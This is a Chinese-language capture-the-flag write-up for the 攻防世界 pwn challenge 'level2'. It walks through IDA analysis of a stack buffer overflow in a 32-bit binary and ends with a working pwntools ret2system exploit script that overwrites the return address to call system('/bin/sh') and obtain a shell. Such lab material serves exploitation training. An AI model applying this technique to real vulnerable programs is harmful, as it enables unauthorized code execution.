题目来源:攻防世界——pwn——level2
1、查壳
分析可知,该文件为ELF文件,32位,几乎无保护措施
2、使用IDA静态分析
先看main函数,较为简单,比较显眼的是名叫vulnerable_function函数
从右侧函数栏找到它,双击查看反汇编代码
可以看到存在一个缓冲区buf,并且大小为0x88,并且该函数返回了一个read函数,大小为0x100u,双击&buf变量具体查看
看开头英文变量以及观察末尾,可知Frame Size大小为0x88,Saved regs大小为0x04,即需要写0x88+0x04个填充后才能到达返回地址
下面就是寻找bin/sh了,由于题目较为基础,我们甚至能够直接在源代码中找到/bin/sh,利用它和main函数已存在的system函数,即可凑齐构造payload的全部材料
无论遇到什么题目,即使机会渺茫,找/bin/sh的第一步仍然是直接按shift+F12,从源代码中寻找/bin/sh的字符串,果然不出所料:
通过这种套路,确实获得了/bin/sh的地址!下面就是构造payload了,用法:
payload = 'a' * (offset) + sys_addr + ret_add + sh_addr
于是:
from pwn import *
context.log_level = 'debug'
i = process('./level2')
elf = ELF('./level2')
system_addr = elf.symbols['system'] #system的起始地址
binsh_addr =0x0804A024
payload = 'a'*0x88+'a'*0x4 + p32(system_addr).decode('unicode_escape') + p32(0).decode('unicode_escape') + p32(binsh_addr).decode('unicode_escape')
i.sendlineafter('Input:',payload)
i.interactive()
运行该代码,即可获得shell!
3、总结
1、做题先查壳
2、熟悉read、system函数
3、找/bin/sh先查字符串